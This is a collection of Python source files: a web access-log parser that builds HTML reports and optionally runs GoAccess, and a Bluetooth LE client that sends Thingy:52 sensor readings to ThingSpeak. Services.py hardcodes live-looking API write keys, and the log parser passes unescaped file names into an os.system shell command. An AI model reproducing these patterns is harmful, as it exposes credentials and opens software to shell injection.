log_format_index.setdefault('host_index', log_format_list.index('ip') + 1)\n\n return log_format_index\n\n\ndef not_static_file(url):\n url_front = url.split('?')[0]\n if url_front.split('.')[-1] not in config.static_file:\n return True\n else:\n return False\n\n\ndef is_ignore_url(url):\n url_front = url.split('?')[0]\n if url_front not in config.ignore_urls:\n return False\n else:\n return True\n\n\ndef get_new_url_with_parameters(origin_url):\n origin_url_list = origin_url.split('?')\n\n if len(origin_url_list) == 1:\n return origin_url\n url_front = origin_url_list[0]\n url_parameters = sorted(origin_url_list[1].split('&'))\n new_url_parameters = []\n for parameter in url_parameters:\n parameter_list = parameter.split('=')\n key = parameter_list[0]\n if len(parameter_list) == 1:\n new_url_parameters.append(parameter)\n elif key in config.custom_keys:\n new_url_parameters.append(key + '=' + config.custom_parameters.get(key))\n elif key in config.fixed_parameter_keys:\n new_url_parameters.append(parameter)\n else:\n new_url_parameters.append(key + '=' + '{' + key + '}')\n new_url = url_front + '?' + '&amp;'.join(new_url_parameters)\n return new_url\n\n\ndef get_new_url_for_always_parameters(origin_url):\n origin_url_list = origin_url.split('?')\n\n if len(origin_url_list) == 1:\n return origin_url_list[0]\n\n url_front = origin_url_list[0]\n url_parameters = sorted(origin_url_list[1].split('&'))\n new_url_parameters = []\n for parameter in url_parameters:\n key = parameter.split('=')[0]\n if key in config.always_parameter_keys:\n new_url_parameters.append(parameter)\n if new_url_parameters:\n new_url = url_front + '?' + '&amp;'.join(new_url_parameters)\n else:\n new_url = url_front\n return new_url\n\n\ndef ignore_url_suffix(origin_url):\n # origin_url = str(origin_url, encoding=\"utf-8\")\n origin_url_list = origin_url.split('?')\n\n if len(origin_url_list) == 1:\n uri_parameter = None\n else:\n uri_parameter = origin_url_list[1:]\n\n uri = origin_url_list[0]\n new_uri = uri\n for suffix in config.ignore_url_suffix:\n if uri.endswith(suffix):\n new_uri = uri.replace(suffix, '')\n break\n if uri_parameter:\n return new_uri + '?' + '?'.join(uri_parameter)\n else:\n return new_uri\n\n\ndef get_url(match, log_format):\n origin_url = ignore_url_suffix(match.group(log_format.get('url_index')))\n if config.is_with_parameters:\n url = get_new_url_with_parameters(origin_url)\n else:\n if config.always_parameter_keys:\n url = get_new_url_for_always_parameters(origin_url)\n else:\n url = match.group(origin_url.split('?')[0].split('.json')[0])\n return url\n\n\ndef parse_log_file(target_file, log_format):\n # 用户IP\n hosts = []\n # 访问时间\n times = []\n # 访问时间中的小时\n hours = []\n # 访问时间中的分钟\n minutes = []\n # 请求URL\n urls = []\n # 请求响应时间\n cost_time_list = []\n cost_time_flag = False\n cost_time_percentile_flag = False\n if 'cost_time_index' in log_format.keys():\n if config.cost_time_flag:\n cost_time_flag = True\n if config.cost_time_percentile_flag:\n cost_time_percentile_flag = True\n\n # 请求方法计数器\n method_counts = {'post': 0, 'post_percentile': 0, 'get': 0, 'get_percentile': 0}\n\n # http status code统计\n status_codes = {}\n\n pattern = re.compile(config.log_pattern)\n # pattern = re.compile(b'(.*?):.*?\\[.*?\\].*?\\[(.*?)\\]\\s(.*?)\\s(.*?)\\s.*?msecs\\s\\((.*?)\\s(.*?)\\)')\n\n # 第一次读取整个文件,获取对应的请求时间、请求URL、请求方法、用户IP、请求响应时间等数据\n with open('../data/' + target_file, 'rb') as f:\n for line in f:\n match = pattern.match(str(line,encoding=\"utf8\"))\n if match is None:\n continue\n url = get_url(match, log_format)\n if is_ignore_url(url):\n continue\n\n match_method = match.group(log_format.get('method_index'))\n\n if match_method not in config.support_method:\n continue\n if not_static_file(url):\n hosts.append(match.group(log_format.get('host_index')).split(',')[0])\n # log_time = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(match.group(log_format.get('time_index')),\n # '%d/%b/%Y:%H:%M:%S'))\n log_time = match.group(log_format.get('time_index'))\n old_time_array = time.strptime(log_time, \"%a %b %d %H:%M:%S %Y\")\n log_time= time.strftime('%d/%b/%Y:%H:%M:%S', old_time_array)\n\n times.append(log_time)\n log_time_list = log_time.split(':')\n # hours.append(':'.join(log_time_list[0:2]))\n hours.append(':'.join(log_time_list[1:2]))\n # minutes.append(':'.join(log_time_list[0:3]))\n minutes.append(':'.join(log_time_list[2:3]))\n if match_method == 'POST':\n method_counts['post'] += 1\n if match_method == 'GET':\n method_counts['get'] += 1\n urls.append(match_method + ' ' + url)\n if 'cost_time_index' in log_format.keys():\n request_cost_time = int(float(match.group(log_format.get('cost_time_index'))) * 1000)\n if cost_time_flag:\n cost_time_list.append({'time': log_time, 'cost_time': request_cost_time})\n else:\n cost_time_list.append({'time': '', 'cost_time': request_cost_time})\n if 'status' in log_format.keys():\n status_code = int(match.group(log_format.get('status')))\n if status_code in status_codes.keys():\n status_codes[status_code] += 1\n else:\n status_codes.setdefault(status_code, 1)\n\n if len(times) > 2:\n cross_time = datetime.datetime.strptime(times[-1], '%d/%b/%Y:%H:%M:%S') - datetime.datetime.strptime(times[0], '%d/%b/%Y:%H:%M:%S')\n else:\n cross_time = None\n\n # 计算PV、UV、平均请求数、GET/POST占比\n pv = len(times)\n uv = len(set(hosts))\n response_avg = int(pv / len(set(times)))\n method_counts['post_percentile'] = int(method_counts['post'] * 100 / pv)\n method_counts['get_percentile'] = int(method_counts['get'] * 100 / pv)\n\n # 获取每小时、每分钟、每秒的请求数量\n hours_counter = Counter(hours)\n minutes_counter = Counter(minutes)\n times_counter = Counter(times)\n\n # 获取每秒最大请求数及其请求时间\n response_most_common = times_counter.most_common(1)[0]\n response_peak = response_most_common[1]\n response_peak_time = response_most_common[0]\n\n # 根据不同URL的PV数量截取较多请求,后续只分析进去排名内的URL\n urls_counter = Counter(urls)\n urls_most_common = urls_counter.most_common(config.urls_most_number)\n\n # 计算请求占比\n url_data_list = []\n for_url_data_uri_index = []\n for item in urls_most_common:\n if item[1] >= config.urls_pv_threshold:\n ratio = '%0.3f' % float(item[1] * 100 / float(pv))\n url_data_list.append(URLData(url=item[0], pv=item[1], ratio=ratio))\n for_url_data_uri_index.append(item[0])\n continue\n if cross_time and cross_time.seconds < config.urls_pv_threshold_time and item[1] >= config.urls_pv_threshold_min:\n ratio = '%0.3f' % float(item[1] * 100 / float(pv))\n url_data_list.append(URLData(url=item[0], pv=item[1], ratio=ratio))\n for_url_data_uri_index.append(item[0])\n continue\n\n # 第二次读取文件,以获取特定请求的访问时间及响应时间\n with open('../data/' + target_file, 'rb') as f:\n for line in f:\n match = pattern.match(str(line,encoding=\"utf8\"))\n if match is None:\n continue\n method = match.group(log_format.get('method_index'))\n url = get_url(match, log_format)\n\n target_url = ' '.join([method, url])\n if target_url in for_url_data_uri_index:\n index = for_url_data_uri_index.index(target_url)\n url_data_list[index].time.append(match.group(log_format.get('time_index')))\n if 'cost_time_index' in log_format.keys():\n url_data_list[index].cost.append(float(match.group(log_format.get('cost_time_index'))))\n\n for url_data in url_data_list:\n # 计算每个特定请求的每秒最大并发\n url_data.peak = Counter(url_data.time).most_common(1)[0][1]\n\n # 计算每个特定请求的耗时均值,中值,方差,百分位等\n if url_data.cost:\n url_data.cost_time['avg'] = '%0.3f' % float(average(url_data.cost))\n url_data.cost_time['variance'] = int(var(url_data.cost))\n url_data.cost_time['p9'] = '%0.3f' % percentile(url_data.cost, 90)\n url_data.cost_time['p8'] = '%0.3f' % percentile(url_data.cost, 80)\n url_data.cost_time['p5'] = '%0.3f' % percentile(url_data.cost, 50)\n\n # 统计不同响应时间范围的请求数量\n cost_time_range = {'r1': 0, 'r2': 0, 'r3': 0, 'r4': 0, 'r5': 0, 'r6': 0,\n 'r7': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0}\n for cost_time in cost_time_list:\n if cost_time['cost_time'] <= 50:\n cost_time_range['r1'] += 1\n elif 50 < cost_time['cost_time'] <= 100:\n cost_time_range['r2'] += 1\n elif 100 < cost_time['cost_time'] <= 150:\n cost_time_range['r3'] += 1\n elif 150 < cost_time['cost_time'] <= 200:\n cost_time_range['r4'] += 1\n elif 200 < cost_time['cost_time'] <= 250:\n cost_time_range['r5'] += 1\n elif 250 < cost_time['cost_time'] <= 300:\n cost_time_range['r6'] += 1\n elif 300 < cost_time['cost_time'] <= 350:\n cost_time_range['r7'] += 1\n elif 350 < cost_time['cost_time'] <= 400:\n cost_time_range['r8'] += 1\n elif 400 < cost_time['cost_time'] <= 450:\n cost_time_range['r9'] += 1\n elif 450 < cost_time['cost_time'] <= 500:\n cost_time_range['r10'] += 1\n else:\n cost_time_range['r11'] += 1\n # 计算不同响应时间范围的请求占比\n cost_time_range_percentile = {'r1p': 0, 'r2p': 0, 'r3p': 0, 'r4p': 0, 'r5p': 0, 'r6p': 0,\n 'r7p': 0, 'r8p': 0, 'r9p': 0, 'r10p': 0, 'r11p': 0}\n if cost_time_list:\n total_cost_time_pv = float(len(cost_time_list))\n if cost_time_range['r1']:\n cost_time_range_percentile['r1p'] = '%0.3f' % float(cost_time_range['r1'] * 100 / total_cost_time_pv)\n if cost_time_range['r2']:\n cost_time_range_percentile['r2p'] = '%0.3f' % float(cost_time_range['r2'] * 100 / total_cost_time_pv)\n if cost_time_range['r3']:\n cost_time_range_percentile['r3p'] = '%0.3f' % float(cost_time_range['r3'] * 100 / total_cost_time_pv)\n if cost_time_range['r4']:\n cost_time_range_percentile['r4p'] = '%0.3f' % float(cost_time_range['r4'] * 100 / total_cost_time_pv)\n if cost_time_range['r5']:\n cost_time_range_percentile['r5p'] = '%0.3f' % float(cost_time_range['r5'] * 100 / total_cost_time_pv)\n if cost_time_range['r6']:\n cost_time_range_percentile['r6p'] = '%0.3f' % float(cost_time_range['r6'] * 100 / total_cost_time_pv)\n if cost_time_range['r7']:\n cost_time_range_percentile['r7p'] = '%0.3f' % float(cost_time_range['r7'] * 100 / total_cost_time_pv)\n if cost_time_range['r8']:\n cost_time_range_percentile['r8p'] = '%0.3f' % float(cost_time_range['r8'] * 100 / total_cost_time_pv)\n if cost_time_range['r9']:\n cost_time_range_percentile['r9p'] = '%0.3f' % float(cost_time_range['r9'] * 100 / total_cost_time_pv)\n if cost_time_range['r10']:\n cost_time_range_percentile['r10p'] = '%0.3f' % float(cost_time_range['r10'] * 100 / total_cost_time_pv)\n if cost_time_range['r11']:\n cost_time_range_percentile['r11p'] = '%0.3f' % float(cost_time_range['r11'] * 100 / total_cost_time_pv)\n\n total_data = {'pv': pv, 'uv': uv, 'response_avg': response_avg, 'response_peak': response_peak,\n 'response_peak_time': response_peak_time, 'url_data_list': url_data_list,\n 'source_file': target_file, 'hours_hits': hours_counter, 'minutes_hits': minutes_counter,\n 'second_hits': times_counter, 'cost_time_list': cost_time_list, 'cost_time_flag': cost_time_flag,\n 'cost_time_range_percentile': cost_time_range_percentile, 'method_counts': method_counts,\n 'cost_time_percentile_flag': cost_time_percentile_flag,\n 'cost_time_threshold': config.cost_time_threshold, 'cost_time_range': cost_time_range,\n 'status_codes': status_codes}\n generate_web_log_parser_report(total_data)\n\n\ndef parse_log_file_with_goaccess(target_file):\n source_file = '../data/' + target_file\n goaccess_file = '../result/report/' + target_file + '_GoAccess.html'\n command = \"\"\" goaccess -f %(file)s -a -q \\\n --time-format=%(time_format)s \\\n --date-format=%(date_format)s \\\n --log-format='%(goaccess_log_format)s' \\\n --no-progress > %(goaccess_file)s\"\"\" \\\n % {'file': source_file, 'time_format': config.time_format, 'date_format': config.date_format,\n 'goaccess_log_format': config.goaccess_log_format, 'goaccess_file': goaccess_file}\n os.system(command)\n\n\ndef main():\n log_format = parse_log_format()\n\n result_files = [result_file.replace('.html', '') for result_file in get_dir_files('../result/report/')]\n target_files = sorted([data_file for data_file in get_dir_files('../data') if data_file not in result_files])\n\n for target_file in target_files:\n try:\n print(datetime.datetime.now(), ' Start parse file : ' + target_file)\n\n parse_log_file(target_file, log_format)\n if config.goaccess_flag:\n parse_log_file_with_goaccess(target_file)\n\n print(datetime.datetime.now(), ' End parse file: ' + target_file)\n except Exception:\n exstr = traceback.format_exc()\n print(exstr)\n update_index_html()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6156134009361267, "alphanum_fraction": 0.6174721121788025, "avg_line_length": 49.75471878051758, "blob_id": "16dbcd3e08e187342375b0dc2341d797a978e1c8", "content_id": "ea3b2934469f711bbeda5dc314cc75f5366197e7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2690, "license_type": "permissive", "max_line_length": 99, "num_lines": 53, "path": "/web-log-parser/bin/config.py", "repo_name": "siguangzong/Web_Log_Tool", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport configparser\n\n\nclass Config:\n \"\"\"get config from the ini file\"\"\"\n\n def __init__(self, config_file):\n all_config = configparser.RawConfigParser()\n with open(config_file, 'r',encoding=\"UTF-8\") as cfg_file:\n all_config.readfp(cfg_file)\n\n self.log_format = all_config.get('format', 'log-format')\n self.log_pattern = all_config.get('format', 'log-pattern')\n\n self.support_method = all_config.get('filter', 'support_method').split(',')\n self.is_with_parameters = int(all_config.get('filter', 'is_with_parameters'))\n self.always_parameter_keys = all_config.get('filter', 'always_parameter_keys').split(',')\n self.urls_most_number = int(all_config.get('filter', 'urls_most_number'))\n self.urls_pv_threshold = int(all_config.get('filter', 'urls_pv_threshold'))\n self.urls_pv_threshold_time = int(all_config.get('filter', 'urls_pv_threshold_time'))\n self.urls_pv_threshold_min = int(all_config.get('filter', 'urls_pv_threshold_min'))\n\n self.ignore_url_suffix = all_config.get('filter', 'ignore_url_suffix').split(',')\n\n self.fixed_parameter_keys = all_config.get('filter', 'fixed_parameter_keys').split(',')\n self.custom_parameters_list = all_config.get('filter', 'custom_parameters').split(',')\n self.custom_keys = []\n self.custom_parameters = {}\n for item in self.custom_parameters_list:\n key = item.split('=')[0]\n if len(item.split('=')) == 2:\n value = item.split('=')[1]\n else:\n value = ''\n self.custom_parameters.setdefault(key, value)\n self.custom_keys.append(key)\n self.ignore_urls = all_config.get('filter', 'ignore_urls').split(',')\n self.static_file = all_config.get('filter', 'static-file').split(',')\n\n self.second_line_flag = int(all_config.get('report', 'second_line_flag'))\n self.cost_time_flag = int(all_config.get('report', 'cost_time_flag'))\n self.cost_time_percentile_flag = int(all_config.get('report', 'cost_time_percentile_flag'))\n self.cost_time_threshold = all_config.get('report', 'cost_time_threshold')\n self.upload_flag = int(all_config.get('report', 'upload_flag'))\n self.upload_url = all_config.get('report', 'upload_url')\n\n self.goaccess_flag = int(all_config.get('goaccess', 'goaccess_flag'))\n self.time_format = all_config.get('goaccess', 'time-format')\n self.date_format = all_config.get('goaccess', 'date-format')\n self.goaccess_log_format = all_config.get('goaccess', 'goaccess-log-format')\n\nconfig = Config('../conf/config.ini')\n" }, { "alpha_fraction": 0.5648415088653564, "alphanum_fraction": 0.5784822106361389, "avg_line_length": 43.11016845703125, "blob_id": "c874c7fa1955519ab49f17db2784866d424f971c", "content_id": "48ec0478bc8478f4651ad39ae8fd9e97103e7fa0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5243, "license_type": "permissive", "max_line_length": 107, "num_lines": 118, "path": "/web-log-parser/bin/report.py", "repo_name": "siguangzong/Web_Log_Tool", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport json\nimport requests\n\nfrom util import get_dir_files\nfrom config import config\nfrom jinja2 import Environment, FileSystemLoader\n\nenv = Environment(loader=FileSystemLoader('./templates'))\nreport_template = env.get_template('report.html')\nindex_template = env.get_template('index.html')\nurl_template = env.get_template('url.html')\n\n\ndef upload_report(data, hours_times, minutes_times):\n target_file = data['source_file']\n pv = data['pv']\n uv = data['uv']\n get_count = data['method_counts']['get']\n get_percent = data['method_counts']['get_percentile']\n post_count = data['method_counts']['post']\n post_percent = data['method_counts']['post_percentile']\n response_peak = data['response_peak']\n response_peak_time = data['response_peak_time']\n response_avg = data['response_avg']\n hours_times = hours_times\n hours_pv = data['hours_hits']\n hours_most_common = data['hours_hits'].most_common(1)[0]\n hours_pv_peak = hours_most_common[1]\n hours_pv_peak_time = hours_most_common[0]\n minute_times = minutes_times\n minute_pv = data['minutes_hits']\n minute_most_common = data['minutes_hits'].most_common(1)[0]\n minute_pv_peak = minute_most_common[1]\n minute_pv_peak_time = minute_most_common[0]\n cost_percent = data['cost_time_range_percentile']\n cost_time_threshold = data['cost_time_threshold']\n cost_range = data['cost_time_range']\n url_data_list = []\n\n for url_data in data['url_data_list']:\n url_data_list.append(url_data.get_data())\n\n data = {'target_file': target_file, 'pv': pv, 'uv': uv,\n 'get_count': get_count, 'get_percent': get_percent,\n 'post_count': post_count, 'post_percent': post_percent,\n 'response_peak': response_peak, 'response_peak_time': response_peak_time,\n 'response_avg': response_avg,\n 'hours_times': hours_times,\n 'hours_pv': hours_pv,\n 'hours_pv_peak': hours_pv_peak,\n 'hours_pv_peak_time': hours_pv_peak_time,\n 'minute_times': minute_times,\n 'minute_pv': minute_pv,\n 'minute_pv_peak': minute_pv_peak,\n 'minute_pv_peak_time': minute_pv_peak_time,\n 'cost_percent': cost_percent,\n 'cost_percent_range': ['<50ms', '50~100ms', '100~150ms', '150~200ms', '200~250ms', '250~300ms',\n '300~350ms', '350~400ms', '400~450ms', '450~500ms', '>500ms'],\n 'cost_time_threshold': cost_time_threshold,\n 'url_data_list': url_data_list,\n 'cost_range': cost_range,\n 'status_codes': data['status_codes']}\n headers = {'Content-Type': 'application/json'}\n r = requests.post(config.upload_url, data=json.dumps(data), headers=headers)\n print(r.text)\n\n\ndef generate_web_log_parser_report(data):\n if config.goaccess_flag:\n data.setdefault('goaccess_file', data.get('source_file') + '_GoAccess.html')\n data.setdefault('goaccess_title', u'查看GoAccess生成报告')\n else:\n data.setdefault('goaccess_file', '#')\n data.setdefault('goaccess_title', u'GoAccess报告已设置为无效,无法查看')\n\n hours_times = sorted(list(data.get('hours_hits')))\n minutes_times = sorted(list(data.get('minutes_hits')))\n seconds_times = sorted(list(data.get('second_hits')))\n\n if config.upload_flag:\n upload_report(data, hours_times, minutes_times)\n\n html = report_template.render(data=data,\n web_log_urls_file=data.get('source_file') + '_urls.html',\n second_line_flag=config.second_line_flag,\n hours_times=hours_times,\n minutes_times=minutes_times,\n seconds_times=seconds_times,\n method_counts=data.get('method_counts'),\n cost_time_range_percentile=data.get('cost_time_range_percentile'),\n cost_time_list=data.get('cost_time_list'),\n cost_time_flag=data.get('cost_time_flag'),\n cost_time_percentile_flag=data.get('cost_time_percentile_flag'),\n cost_time_threshold=data.get('cost_time_threshold'),\n cost_time_range=data.get('cost_time_range'),\n status_codes=data.get('status_codes'),\n status_codes_keys=data.get('status_codes').keys())\n\n html_file = '../result/report/' + data.get('source_file') + '.html'\n with open(html_file, 'wb') as f:\n f.write((html.encode('utf-8')))\n\n\ndef generate_web_log_parser_urls(data):\n html = url_template.render(data=data,\n url_datas=sorted(data.get('urls')))\n\n html_file = '../result/urls/' + data.get('source_file') + '_urls.html'\n with open(html_file, 'wb') as f:\n f.write((html.encode('utf-8')))\n\n\ndef update_index_html():\n html = index_template.render(files=sorted(get_dir_files('../result/report/')))\n\n with open('../result/index.html', 'wb') as f:\n f.write((html.encode('utf-8')))\n" } ]
4
Nimunex/TFG
https://github.com/Nimunex/TFG
4660827607b46cfb57bfe37d1499946ba370fe85
699b8800b048b05dbee6cf4d1f020ad723cbc17f
b85c75850c19731c61b6b190b81f3fd445747794
refs/heads/master
2022-12-17T03:56:48.000779
2020-08-29T11:13:59
2020-08-29T11:13:59
267,839,272
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6862539052963257, "alphanum_fraction": 0.6925498247146606, "avg_line_length": 40.318180084228516, "blob_id": "9ab27dd1121248fe14c2cbe0093f00a91506a37f", "content_id": "3aaeb9d2f2fa835af35031cdd3a717616406e96c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 953, "license_type": "no_license", "max_line_length": 107, "num_lines": 22, "path": "/Device.py", "repo_name": "Nimunex/TFG", "src_encoding": "UTF-8", "text": "\n\nfrom bluepy import btle\nfrom bluepy.btle import Peripheral, DefaultDelegate\nimport Services\nfrom Services import EnvironmentService, BatterySensor, UserInterfaceService, MotionService, DeviceDelegate\n\n\n## Thingy52 Definition\n\nclass Device(Peripheral):\n ##Thingy:52 module. Instance the class and enable to get access to the Thingy:52 Sensors.\n #The addr of your device has to be know, or can be found by using the hcitool command line \n #tool, for example. Call \"> sudo hcitool lescan\" and your Thingy's address should show up.\n \n def __init__(self, addr):\n Peripheral.__init__(self, addr, addrType=\"random\")\n\n #Thingy configuration service not implemented\n self.battery = BatterySensor(self)\n self.environment = EnvironmentService(self)\n self.ui = UserInterfaceService(self)\n self.motion = MotionService(self)\n #self.sound = SoundService(self)\n \n \n\n \n \n \n" }, { "alpha_fraction": 0.4186991751194, "alphanum_fraction": 0.45121949911117554, "avg_line_length": 40, "blob_id": "7cb20e4849a43863a47ca9a341f4350164bd1972", "content_id": "6b094f593df93d5b7b2361aa5804f4fa66e03ba2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 738, "license_type": "no_license", "max_line_length": 85, "num_lines": 18, "path": "/call.py", "repo_name": "Nimunex/TFG", "src_encoding": "UTF-8", "text": "#####################################################################\n# BLE devices handler #\n# A new subprocess is created for each preregistered device in: #\n# ./devices.mac #\n#####################################################################\n\nimport subprocess\nimport time \n\n#~ mac_file = open('devices.mac', 'r')\n\n#~ for mac_address in mac_file:\n\t\t#~ subprocess.call(['gnome-terminal', '-e', 'python3 main.py ' + mac_address])\n\t\t#~ time.sleep(10)\n\nsubprocess.call(['gnome-terminal', '-e', 'python3 main.py FD:88:50:58:E7:45' ])\ntime.sleep(20)\nsubprocess.call(['gnome-terminal', '-e', 'python3 mainMotion.py E4:F6:C5:F7:03:39' ])\n" }, { "alpha_fraction": 0.5001158714294434, "alphanum_fraction": 0.5375469326972961, "avg_line_length": 37.34489059448242, "blob_id": "84bbf67d15b69c9cd8f4fefa9bb845daf264c55a", "content_id": "935a8b247cd03b1cd9ee2200e019928a6b74ba31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43147, "license_type": "no_license", "max_line_length": 213, "num_lines": 1125, "path": "/Services.py", "repo_name": "Nimunex/TFG", "src_encoding": "UTF-8", "text": "\n\nfrom bluepy import btle\nfrom bluepy.btle import UUID,Peripheral, DefaultDelegate\nimport os.path\nimport struct\nimport sys\nimport binascii\n\nfrom urllib.request import urlopen\n\nimport bitstring\nimport fxpmath\nfrom bitstring import BitArray\nfrom fxpmath import Fxp\n\n#Useful functions\n\ndef write_uint16(data, value, index):\n ## Write 16bit value into data string at index and return new string \n data = data.decode('utf-8') # This line is added to make sure both Python 2 and 3 works\n return '{}{:02x}{:02x}{}'.format(\n data[:index*4], \n value & 0xFF, value >> 8, \n data[index*4 + 4:])\n\ndef write_uint8(data, value, index):\n ## Write 8bit value into data string at index and return new string \n data = data.decode('utf-8') # This line is added to make sure both Python 2 and 3 works\n return '{}{:02x}{}'.format(\n data[:index*2], \n value, \n data[index*2 + 2:])\n \ndef getTimeStamp():\n ts = time.time()\n ts_str = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n return ts_str\n\n\n#API key for environment services\nWRITE_API = \"AZOKZQAG2ZC1P2Z2\" \nBASE_URL = \"https://api.thingspeak.com/update?api_key={}\".format(WRITE_API)\n\n#API key for motion services\nWRITE_API_2 = \"L8IVUKY6GII5QP95\" \nBASE_URL_2 = \"https://api.thingspeak.com/update?api_key={}\".format(WRITE_API_2)\n\n\nThingSpeakPrevSec = 0\nThingSpeakInterval = 20 # 20 seconds\n\n\n## Definition of all UUID used for Environment Service\n\nCCCD_UUID = 0x2902\n\n##Environment UUID\nENVIRONMENT_SERVICE_UUID = \"ef680200-9b35-4933-9B10-52FFA9740042\"\nTEMPERATURE_CHAR_UUID = \"ef680201-9b35-4933-9B10-52FFA9740042\"\nPRESSURE_CHAR_UUID = \"ef680202-9b35-4933-9B10-52FFA9740042\"\nHUMIDITY_CHAR_UUID = \"ef680203-9b35-4933-9B10-52FFA9740042\"\nGAS_CHAR_UUID = \"ef680204-9b35-4933-9B10-52FFA9740042\"\nCOLOR_CHAR_UUID = \"ef680205-9b35-4933-9B10-52FFA9740042\"\nCONFIG_CHAR_UUID = \"ef680206-9b35-4933-9B10-52FFA9740042\"\n\n##Battery UUID\nBATTERY_SERVICE_UUID = 0x180F\nBATTERY_LEVEL_UUID = 0x2A19\n\n##UI UUID\nUSER_INTERFACE_SERVICE_UUID = \"ef680300-9b35-4933-9B10-52FFA9740042\"\nLED_CHAR_UUID = \"ef680301-9b35-4933-9B10-52FFA9740042\"\nBUTTON_CHAR_UUID = \"ef680302-9b35-4933-9B10-52FFA9740042\"\nEXT_PIN_CHAR_UUID = \"ef680303-9b35-4933-9B10-52FFA9740042\"\n\n##Motion UUID\nMOTION_SERVICE_UUID = \"ef680400-9b35-4933-9B10-52FFA9740042\"\nTAP_CHAR_UUID = \"ef680402-9b35-4933-9B10-52FFA9740042\"\nORIENTATION_CHAR_UUID = \"ef680403-9b35-4933-9B10-52FFA9740042\"\nQUATERNION_CHAR_UUID = \"ef680404-9b35-4933-9B10-52FFA9740042\"\nSTEP_COUNTER_CHAR_UUID = \"ef680405-9b35-4933-9B10-52FFA9740042\"\nRAW_DATA_CHAR_UUID = \"ef680406-9b35-4933-9B10-52FFA9740042\"\nEULER_CHAR_UUID = \"ef680407-9b35-4933-9B10-52FFA9740042\"\nROTATION_MATRIX_CHAR_UUID = \"ef680408-9b35-4933-9B10-52FFA9740042\"\nHEADING_CHAR_UUID = \"ef680409-9b35-4933-9B10-52FFA9740042\"\nGRAVITY_VECTOR_CHAR_UUID = \"ef68040A-9b35-4933-9B10-52FFA9740042\"\nM_CONFIG_CHAR_UUID = \"ef680401-9b35-4933-9B10-52FFA9740042\"\n\n## Notification handles used in notification delegate\n\n##Environment handles\ntemperature_handle = None\npressure_handle = None\nhumidity_handle = None\ngas_handle = None\ncolor_handle = None\n\n##Battery handles\nbattery_handle = None\n\n##UI handles\nbutton_handle = None\n\n##Motion handles\ntap_handle = None\norient_handle = None\nquaternion_handle = None\nstepcount_handle = None\nrawdata_handle = None\neuler_handle = None\nrotation_handle = None\nheading_handle = None\ngravity_handle = None\n\n\n\n## Notifications /Indications Handler\n\nclass DeviceDelegate(DefaultDelegate):\n \n\n def handleNotification(self, hnd, data):\n \n \n ##Environment delegate\n if (hnd == temperature_handle):\n data = bytearray(data)\n temperature_int = data[0]\n temperature_dec = data[1]\n print(\"A notification was received -> Temperature:\", temperature_int, ',', temperature_dec, \"ºC\")\n \n #~ if time() - ThingSpeakPrevSec > ThingSpeakInterval:\n \n #~ ThingSpeakPrevSec = time()\n thingspeakHttp = BASE_URL + \"&field1={:.2f}\".format(temperature_int + temperature_dec*0.01)\n conn = urlopen(thingspeakHttp)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n elif (hnd == pressure_handle):\n teptep = binascii.b2a_hex(data)\n pressure_int = 0\n for i in range(0, 4):\n pressure_int += (int(teptep[i*2:(i*2)+2], 16) << 8*i)\n pressure_dec = int(teptep[-2:], 16)\n print(\"A notification was received -> Pressure: \", pressure_int,',', pressure_dec, \" hPa\")\n \n #~ if time() - ThingSpeakPrevSec > ThingSpeakInterval:\n \n #~ ThingSpeakPrevSec = time()\n thingspeakHttp2 = BASE_URL + \"&field2={:.2f}\".format(pressure_int + pressure_dec*0.01)\n conn = urlopen(thingspeakHttp2)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n elif (hnd == humidity_handle):\n data = bytearray(data)\n humidity_value =int.from_bytes(data, byteorder='big', signed=False) \n# timestamp = getTimeStamp()\n print(\"A notification was received -> Humidity: \", humidity_value, \" %\")\n \n #~ if time() - ThingSpeakPrevSec > ThingSpeakInterval:\n \n #~ ThingSpeakPrevSec = time()\n thingspeakHttp3 = BASE_URL + \"&field3={:.2f}\".format(humidity_value)\n conn = urlopen(thingspeakHttp3)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n elif (hnd == gas_handle):\n teptep = binascii.b2a_hex(data)\n eco2 = 0\n tvoc = 0\n for i in range(0, 2):\n eco2 += (int(teptep[i*2:(i*2)+2], 16) << 8*i)\n for i in range(2, 4):\n tvoc += (int(teptep[i*2:(i*2)+2], 16) << 8*(i-2))\n print(\"A notification was received -> Gas: \", eco2, \" ppm\", tvoc,\"ppb\")\n \n #~ if time() - ThingSpeakPrevSec > ThingSpeakInterval:\n \n #~ ThingSpeakPrevSec = time()\n thingspeakHttp4 = BASE_URL + \"&field3={:.2f}\".format(eco2)\n conn = urlopen(thingspeakHttp4)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n\n elif (hnd == color_handle):\n teptep = binascii.b2a_hex(data)\n red = 0\n green = 0\n blue = 0\n clear = 0\n for i in range(0, 2):\n red += (int(teptep[i*2:(i*2)+2], 16) << 8*i)\n for i in range(2, 4):\n green += (int(teptep[i*2:(i*2)+2], 16) << 8*(i-2))\n for i in range(4, 6):\n blue += (int(teptep[i*2:(i*2)+2], 16) << 8*(i-4))\n for i in range(6, 8):\n clear += (int(teptep[i*2:(i*2)+2], 16) << 8*(i-6))\n print(\"A notification was received -> Color: \", red, green, blue, clear)\n \n thingspeakHttp13 = BASE_URL + \"&field5={:.2f}\".format(red)\n conn = urlopen(thingspeakHttp13)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp14 = BASE_URL + \"&field6={:.2f}\".format(green)\n conn = urlopen(thingspeakHttp14)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp15 = BASE_URL + \"&field7={:.2f}\".format(blue)\n conn = 